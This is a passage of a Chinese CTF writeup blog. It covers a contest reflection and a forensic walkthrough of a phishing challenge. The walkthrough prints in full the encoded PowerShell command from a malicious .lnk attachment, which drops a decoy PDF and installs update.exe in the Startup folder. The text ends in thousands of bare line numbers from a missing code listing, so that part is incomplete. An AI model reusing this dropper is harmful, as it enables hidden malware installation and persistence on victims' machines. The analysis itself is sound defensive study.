{"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true} 6 100110101000100 {"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true} 7 101100100110010 {"message":"\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8","success":false} 8 101101001000100 {"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true} 9 100111001000111 {"message":"\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8","success":false} 10 100110100110010 {"message":"\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8","success":false} 然后就得到了有 4 个是无效答案,其他都能够出 flag => flag{good_signal_modem} 后日谈 难得进了一次阵势那么大的比赛的决赛,说实话,真的干不过其他人,好多大佬 这次比赛的内容也是比较新颖,Web3、工控、低空经济、AI什么的,传统的 CTF 已经不能满足现在的网络安全形式了,也确实该接触一些新的东西,而不是守着传统的那几个方向打不停,后面也是要扩大学习面了 相册

2025/9/30
articleCard.readMore

【Volcania】2025 湾区杯初赛 Writeup

Misc bademail | 未解出 我收到了来自hr的邮件,当我打开附件的时候一个黑框一闪而过,我立刻上报了IT部门,于是他们拿走了我的硬盘。 给的是一个 RAID0 的文件,直接 R-Studio 读取就行,从 Thunderbird 的数据目录可以得到 INBOX 收件箱 这里面的最后一封邮件就是所谓的HR邮件 邮件内有 1 2 From: =?GBK?B?wfW378P5?= <hnhuimeng_hr@163.com> Return-Path: hnhuimeng_hr@163.com 发件和回执地址相同,可以认为是真实发件邮箱 把附件拿出来,按照规定的密码解压,发现是一个 lnk 文件,实际执行的是 1 C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -enc "JJAB6AGQAPQAgAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuADsAJABjAGEAcABlAD0AIAAiACQAegBkAFwAVm5XU9h+pmgJZ1CWbFH4U6F7BnTEiZpbLgBsAG4AawAiADsAJABjADEAcwAyACAAPQAgAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAYwBhAHAAZQA7ACQAeABrACAAPQAgAFsAYgB5AHQAZQBbAF0AXQAgAEAAKAAwAHgAMQAzACwAIAAwAHgARgA1ACkAOwAkAGYAYgBjAHMAZQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABjAGEAcABlACkAOwAkAHMAdABzAGUAZQA9ACQAYwAxAHMAMgAuAEwAZQBuAGcAdABoAC0AMgA2ADEAOQA4ADgALQAzADUAMAAzADEAOwAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAIAA9ACAAJABmAGIAYwBzAGUAMQBbACQAcwB0AHMAZQBlAC4ALgAoACQAZgBiAGMAcwBlADEALgBMAGUAbgBnAHQAaAAgAC0AMwA1ADAAMwAyACkAXQA7ACQAZAAwAHMAeABkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAC4ATABlAG4AZwB0AGgAKQA7AGYAbwByACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkADAAcwB4AGQAWwAkAGkAXQAgAD0AIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAeABrAFsAJABpACAAJQAgACQAeABrAC4ATABlAG4AZwB0AGgAXQB9ADsAJABvAG8AcAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAegBkACAAIAAtAEMAaABpAGwAZABQAGEAdABoACAAIgBWbldT2H6maAlnUJZsUfhToXsGdMSJmlsuAHAAZABmACIAOwBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJABvAG8AcAAsACAAJABkADAAcwB4AGQAKQA7AFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAYwBhAHAAZQAgAC0ARgBvAHIAYwBlADsAaQBpACAAIgBWbldT2H6maAlnUJZsUfhToXsGdMSJmlsuAHAAZABmACIAOwAgACQAcABvADIAcwBkAHcAMQAgAD0AIAAkAGYAYgBjAHMAZQAxAFsAKAAkAGYAYgBjAHMAZQAxAC4ATABlAG4AZwB0AGgAIAAtACAAMwA1ADAAMwAxACkALgAuACgAJABmAGIAYwBzAGUAMQAuAEwAZQBuAGcAdABoACAALQAgADEAKQBdADsAIAAkAGMANAAwADUAdgBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHAAbwAyAHMAZAB3ADEAKQA7ACQAZABzADIAdwBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnADYAUwBzAGEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwBaAGkAcABTAHQAcgBlAGEAbQAoACQAYwA0ADAANQB2AGQALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAGcANgBTAHMAYQAuAEMAbwBwAHkAVABvACgAJABkAHMAMgB3AGQAKQA7ACQAZABmADIAMwBkACAAPQAgACQAZABzADIAdwBkAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAdABhAHIAdAAgAE0AZQBuAHUAXABQAHIAbwBnAHIAYQBtAHMAXABTAHQAYQByAHQAdQBwAFwAdQBwAGQAYQB0AGUALgBlAHgAZQAiACwAIAAkAGQAZgAyADMAZAApAA==" 直接对 lnk 文件进行 binwalk 提取 得到了一个可执行文件 居然没法反编译? 才发现释放了一个 update.exe,我拿出来看看 因为他是放到了 shell:startup,所以可以认为权限维持手段是放到启动项中,得到 T1547.001 DnSpy 能开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 2131 2132 2133 2134 2135 2136 2137 2138 2139 2140 2141 2142 2143 2144 2145 2146 2147 2148 2149 2150 2151 2152 2153 2154 2155 2156 2157 2158 2159 2160 2161 2162 2163 2164 2165 2166 2167 2168 2169 2170 2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 2190 2191 2192 2193 2194 2195 2196 2197 2198 2199 2200 2201 2202 2203 2204 2205 2206 2207 2208 2209 2210 2211 2212 2213 2214 2215 2216 2217 2218 2219 2220 2221 2222 2223 2224 2225 2226 2227 2228 2229 2230 2231 2232 2233 2234 2235 2236 2237 2238 2239 2240 2241 2242 2243 2244 2245 2246 2247 2248 2249 2250 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 2261 2262 2263 2264 2265 2266 2267 2268 2269 2270 2271 2272 2273 2274 2275 2276 2277 2278 2279 2280 2281 2282 2283 2284 2285 2286 2287 2288 2289 2290 2291 2292 2293 2294 2295 2296 2297 2298 2299 2300 2301 2302 2303 2304 2305 2306 2307 2308 2309 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2320 2321 2322 2323 2324 2325 2326 2327 2328 2329 2330 2331 2332 2333 2334 2335 2336 2337 2338 2339 2340 2341 2342 2343 2344 2345 2346 2347 2348 2349 2350 2351 2352 2353 2354 2355 2356 2357 2358 2359 2360 2361 2362 2363 2364 2365 2366 2367 2368 2369 2370 2371 2372 2373 2374 2375 2376 2377 2378 2379 2380 2381 2382 2383 2384 2385 2386 2387 2388 2389 2390 2391 2392 2393 2394 2395 2396 2397 2398 2399 2400 2401 2402 2403 2404 2405 2406 2407 2408 2409 2410 2411 2412 2413 2414 2415 2416 2417 2418 2419 2420 2421 2422 2423 2424 2425 2426 2427 2428 2429 2430 2431 2432 2433 2434 2435 2436 2437 2438 2439 2440 2441 2442 2443 2444 2445 2446 2447 2448 2449 2450 2451 2452 2453 2454 2455 2456 2457 2458 2459 2460 2461 2462 2463 2464 2465 2466 2467 2468 2469 2470 2471 2472 2473 2474 2475 2476 2477 2478 2479 2480 2481 2482 2483 2484 2485 2486 2487 2488 2489 2490 2491 2492 2493 2494 2495 2496 2497 2498 2499 2500 2501 2502 2503 2504 2505 2506 2507 2508 2509 2510 2511 2512 2513 2514 2515 2516 2517 2518 2519 2520 2521 2522 2523 2524 2525 2526 2527 2528 2529 2530 2531 2532 2533 2534 2535 2536 2537 2538 2539 2540 2541 2542 2543 2544 2545 2546 2547 2548 2549 2550 2551 2552 2553 2554 2555 2556 2557 2558 2559 2560 2561 2562 2563 2564 2565 2566 2567 2568 2569 2570 2571 2572 2573 2574 2575 2576 2577 2578 2579 2580 2581 2582 2583 2584 2585 2586 2587 2588 2589 2590 2591 2592 2593 2594 2595 2596 2597 2598 2599 2600 2601 2602 2603 2604 2605 2606 2607 2608 2609 2610 2611 2612 2613 2614 2615 2616 2617 2618 2619 2620 2621 2622 2623 2624 2625 2626 2627 2628 2629 2630 2631 2632 2633 2634 2635 2636 2637 2638 2639 2640 2641 2642 2643 2644 2645 2646 2647 2648 2649 2650 2651 2652 2653 2654 2655 2656 2657 2658 2659 2660 2661 2662 2663 2664 2665 2666 2667 2668 2669 2670 2671 2672 2673 2674 2675 2676 2677 2678 2679 2680 2681 2682 2683 2684 2685 2686 2687 2688 2689 2690 2691 2692 2693 2694 2695 2696 2697 2698 2699 2700 2701 2702 2703 2704 2705 2706 2707 2708 2709 2710 2711 2712 2713 2714 2715 2716 2717 2718 2719 2720 2721 2722 2723 2724 2725 2726 2727 2728 2729 2730 2731 2732 2733 2734 2735 2736 2737 2738 2739 2740 2741 2742 2743 2744 2745 2746 2747 2748 2749 2750 2751 2752 2753 2754 2755 2756 2757 2758 2759 2760 2761 2762 2763 2764 2765 2766 2767 2768 2769 2770 2771 2772 2773 2774 2775 2776 2777 2778 2779 2780 2781 2782 2783 2784 2785 2786 2787 2788 2789 2790 2791 2792 2793 2794 2795 2796 2797 2798 2799 2800 2801 2802 2803 2804 2805 2806 2807 2808 2809 2810 2811 2812 2813 2814 2815 2816 2817 2818 2819 2820 2821 2822 2823 2824 2825 2826 2827 2828 2829 2830 2831 2832 2833 2834 2835 2836 2837 2838 2839 2840 2841 2842 2843 2844 2845 2846 2847 2848 2849 2850 2851 2852 2853 2854 2855 2856 2857 2858 2859 2860 2861 2862 2863 2864 2865 2866 2867 2868 2869 2870 2871 2872 2873 2874 2875 2876 2877 2878 2879 2880 2881 2882 2883 2884 2885 2886 2887 2888 2889 2890 2891 2892 2893 2894 2895 2896 2897 2898 2899 2900 2901 2902 2903 2904 2905 2906 2907 2908 2909 2910 2911 2912 2913 2914 2915 2916 2917 2918 2919 2920 2921 2922 2923 2924 2925 2926 2927 2928 2929 2930 2931 2932 2933 2934 2935 2936 2937 2938 2939 2940 2941 2942 2943 2944 2945 2946 2947 2948 2949 2950 2951 2952 2953 2954 2955 2956 2957 2958 2959 2960 2961 2962 2963 2964 2965 2966 2967 2968 2969 2970 2971 2972 2973 2974 2975 2976 2977 2978 2979 2980 2981 2982 2983 2984 2985 2986 2987 2988 2989 2990 2991 2992 2993 2994 2995 2996 2997 2998 2999 3000 3001 3002 3003 3004 3005 3006 3007 3008 3009 3010 3011 3012 3013 3014 3015 3016 3017 3018 3019 3020 3021 3022 3023 3024 3025 3026 3027 3028 3029 3030 3031 3032 3033 3034 3035 3036 3037 3038 3039 3040 3041 3042 3043 3044 3045 3046 3047 3048 3049 3050 3051 3052 3053 3054 3055 3056 3057 3058 3059 3060 3061 3062 3063 3064 3065 3066 3067 3068 3069 3070 3071 3072 3073 3074 3075 3076 3077 3078 3079 3080 3081 3082 3083 3084 3085 3086 3087 3088 3089 3090 3091 3092 3093 3094 3095 3096 3097 3098 3099 3100 3101 3102 3103 3104 3105 3106 3107 3108 3109 3110 3111 3112 3113 3114 3115 3116 3117 3118 3119 3120 3121 3122 3123 3124 3125 3126 3127 3128 3129 3130 3131 3132 3133 3134 3135 3136 3137 3138 3139 3140 3141 3142 3143 3144 3145 3146 3147 3148 3149 3150 3151 3152 3153 3154 3155 3156 3157 3158 3159 3160 3161 3162 3163 3164 3165 3166 3167 3168 3169 3170 3171 3172 3173 3174 3175 3176 3177 3178 3179 3180 3181 3182 3183 3184 3185 3186 3187 3188 3189 3190 3191 3192 3193 3194 3195 3196 3197 3198 3199 3200 3201 3202 3203 3204 3205 3206 3207 3208 3209 3210 3211 3212 3213 3214 3215 3216 3217 3218 3219 3220 3221 3222 3223 3224 3225 3226 3227 3228 3229 3230 3231 3232 3233 3234 3235 3236 3237 3238 3239 3240 3241 3242 3243 3244 3245 3246 3247 3248 3249 3250 3251 3252 3253 3254 3255 3256 3257 3258 3259 3260 3261 3262 3263 3264 3265 3266 3267 3268 3269 3270 3271 3272 3273 3274 3275 3276 3277 3278 3279 3280 3281 3282 3283 3284 3285 3286 3287 3288 3289 3290 3291 3292 3293 3294 3295 3296 3297 3298 3299 3300 3301 3302 3303 3304 3305 3306 3307 3308 3309 3310 3311 3312 3313 3314 3315 3316 3317 3318 3319 3320 3321 3322 3323 3324 3325 3326 3327 3328 3329 3330 3331 3332 3333 3334 3335 3336 3337 3338 3339 3340 3341 3342 3343 3344 3345 3346 3347 3348 3349 3350 3351 3352 3353 3354 3355 3356 3357 3358 3359 3360 3361 3362 3363 3364 3365 3366 3367 3368 3369 3370 3371 3372 3373 3374 3375 3376 3377 3378 3379 3380 3381 3382 3383 3384 3385 3386 3387 3388 3389 3390 3391 3392 3393 3394 3395 3396 3397 3398 3399 3400 3401 3402 3403 3404 3405 3406 3407 3408 3409 3410 3411 3412 3413 3414 3415 3416 3417 3418 3419 3420 3421 3422 3423 3424 3425 3426 3427 3428 3429 3430 3431 3432 3433 3434 3435 3436 3437 3438 3439 3440 3441 3442 3443 3444 3445 3446 3447 3448 3449 3450 3451 3452 3453 3454 3455 3456 3457 3458 3459 3460 3461 3462 3463 3464 3465 3466 3467 3468 3469 3470 3471 3472 3473 3474 3475 3476 3477 3478 3479 3480 3481 3482 3483 3484 3485 3486 3487 3488 3489 3490 3491 3492 3493 3494 3495 3496 3497 3498 3499 3500 3501 3502 3503 3504 3505 3506 3507 3508 3509 3510 3511 3512 3513 3514 3515 3516 3517 3518 3519 3520 3521 3522 3523 3524 3525 3526 3527 3528 3529 3530 3531 3532 3533 3534 3535 3536 3537 3538 3539 3540 3541 3542 3543 3544 3545 3546 3547 3548 3549 3550 3551 3552 3553 3554 3555 3556 3557 3558 3559 3560 3561 3562 3563 3564 3565 3566 3567 3568 3569 3570 3571 3572 3573 3574 3575 3576 3577 3578 3579 3580 3581 3582 3583 3584 3585 3586 3587 3588 3589 3590 3591 3592 3593 3594 3595 3596 3597 3598 3599 3600 3601 3602 3603 3604 3605 3606 3607 3608 3609 3610 3611 3612 3613 3614 3615 3616 3617 3618 3619 3620 3621 3622 3623 3624 3625 3626 3627 3628 3629 3630 3631 3632 3633 3634 3635 3636 3637 3638 3639 3640 3641 3642 3643 3644 3645 3646 3647 3648 3649 3650 3651 3652 3653 3654 3655 3656 3657 3658 3659 3660 3661 3662 3663 3664 3665 3666 3667 3668 3669 3670 3671 3672 3673 3674 3675 3676 3677 3678 3679 3680 3681 3682 3683 3684 3685 3686 3687 3688 3689 3690 3691 3692 3693 3694 3695 3696 3697 3698 3699 3700 3701 3702 3703 3704 3705 3706 3707 3708 3709 3710 3711 3712 3713 3714 3715 3716 3717 3718 3719 3720 3721 3722 3723 3724 3725 3726 3727 3728 3729 3730 3731 3732 3733 3734 3735 3736 3737 3738 3739 3740 3741 3742 3743 3744 3745 3746 3747 3748 3749 3750 3751 3752 3753 3754 3755 3756 3757 3758 3759 3760 3761 3762 3763 3764 3765 3766 3767 3768 3769 3770 3771 3772 3773 3774 3775 3776 3777 3778 3779 3780 3781 3782 3783 3784 3785 3786 3787 3788 3789 3790 3791 3792 3793 3794 3795 3796 3797 3798 3799 3800 3801 3802 3803 3804 3805 3806 3807 3808 3809 3810 3811 3812 3813 3814 3815 3816 3817 3818 3819 3820 3821 3822 3823 3824 3825 3826 3827 3828 3829 3830 3831 3832 3833 3834 3835 3836 3837 3838 3839 3840 3841 3842 3843 3844 3845 3846 3847 3848 3849 3850 3851 3852 3853 3854 3855 3856 3857 3858 3859 3860 3861 3862 3863 3864 3865 3866 3867 3868 3869 3870 3871 3872 3873 3874 3875 3876 3877 3878 3879 3880 3881 3882 3883 3884 3885 3886 3887 3888 3889 3890 3891 3892 3893 3894 3895 3896 3897 3898 3899 3900 3901 3902 3903 3904 3905 3906 3907 3908 3909 3910 3911 3912 3913 3914 3915 3916 3917 3918 3919 3920 3921 3922 3923 3924 3925 3926 3927 3928 3929 3930 3931 3932 3933 3934 3935 3936 3937 3938 3939 3940 3941 3942 3943 3944 3945 3946 3947 3948 3949 3950 3951 3952 3953 3954 3955 3956 3957 3958 3959 3960 3961 3962 3963 3964 3965 3966 3967 3968 3969 3970 3971 3972 3973 3974 3975 3976 3977 3978 3979 3980 3981 3982 3983 3984 3985 3986 3987 3988 3989 3990 3991 3992 3993 3994 3995 3996 3997 3998 3999 4000 4001 4002 4003 4004 4005 4006 4007 4008 4009 4010 4011 4012 4013 4014 4015 4016 4017 4018 4019 4020 4021 4022 4023 4024 4025 4026 4027 4028 4029 4030 4031 4032 4033 4034 4035 4036 4037 4038 4039 4040 4041 4042 4043 4044 4045 4046 4047 4048 4049 4050 4051 4052 4053 4054 4055 4056 4057 4058 4059 4060 4061 4062 4063 4064 4065 4066 4067 4068 4069 4070 4071 4072 4073 4074 4075 4076 4077 4078 4079 4080 4081 4082 4083 4084 4085 4086 4087 4088 4089 4090 4091 4092 4093 4094 4095 4096 4097 4098 4099 4100 4101 4102 4103 4104 4105 4106 4107 4108 4109 4110 4111 4112 4113 4114 4115 4116 4117 4118 4119 4120 4121 4122 4123 4124 4125 4126 4127 4128 4129 4130 4131 4132 4133 4134 4135 4136 4137 4138 